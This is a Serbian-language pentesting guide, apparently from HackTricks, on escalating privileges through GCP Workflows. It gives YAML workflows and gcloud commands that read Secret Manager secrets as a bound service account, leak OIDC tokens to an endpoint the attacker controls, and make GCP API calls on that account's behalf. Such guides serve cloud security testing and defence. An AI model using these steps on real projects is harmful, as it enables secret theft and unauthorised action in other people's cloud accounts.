# GCP - Workflows Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Workflows

Osnovne informacije:

{{#ref}}
../gcp-services/gcp-workflows-enum.md
{{#endref}}

### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)

Koliko ja znam, nije moguće dobiti shell sa pristupom metapodacima koji sadrže SA akreditive SA vezanog za Workflow. Međutim, moguće je zloupotrebiti dozvole SA dodavanjem akcija koje treba izvršiti unutar Workflow-a.

Moguće je pronaći dokumentaciju konektora. Na primer, ovo je [**stranica konektora Secretmanager**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** U bočnoj traci moguće je pronaći nekoliko drugih konektora.

I ovde možete pronaći primer konektora koji štampa tajnu:
```yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"
```
Ažuriranje iz CLI-a:
```bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
```
Ako dobijete grešku poput `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, samo **sačekajte minut i pokušajte ponovo**.

Ako nemate pristup vebu, moguće je pokrenuti i videti izvršenje Workflow-a sa:
```bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
```
> [!CAUTION]
> Takođe možete proveriti izlaz prethodnih izvršenja da biste potražili osetljive informacije

Imajte na umu da čak i ako dobijete grešku poput `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` jer nemate tu dozvolu, radni tok je generisan.

### Leak OIDC token (i OAuth?)

Prema [**dokumentaciji**](https://cloud.google.com/workflows/docs/authenticate-from-workflow), moguće je koristiti korake radnog toka koji će poslati HTTP zahtev sa OAuth ili OIDC tokenom. Međutim, kao u slučaju [Cloud Scheduler](gcp-cloudscheduler-privesc.md), HTTP zahtev sa Oauth tokenom mora biti upućen hostu `.googleapis.com`.

> [!CAUTION]
> Stoga, **moguće je iscuriti OIDC token ukazivanjem na HTTP endpoint** koji kontroliše korisnik, ali da biste iscurili **OAuth** token, potrebno je **zaobići** tu zaštitu. Ipak, i dalje možete **kontaktirati bilo koji GCP API da izvršite radnje u ime SA** koristeći bilo koje konektore ili HTTP zahteve sa OAuth tokenom.

#### Oauth
```yaml
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE
```
#### OIDC
```yaml
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE
```
### `workflows.workflows.update` ...

Sa ovom dozvolom umesto `workflows.workflows.create` moguće je ažurirati već postojeći radni tok i izvršiti iste napade.

{{#include ../../../banners/hacktricks-training.md}}
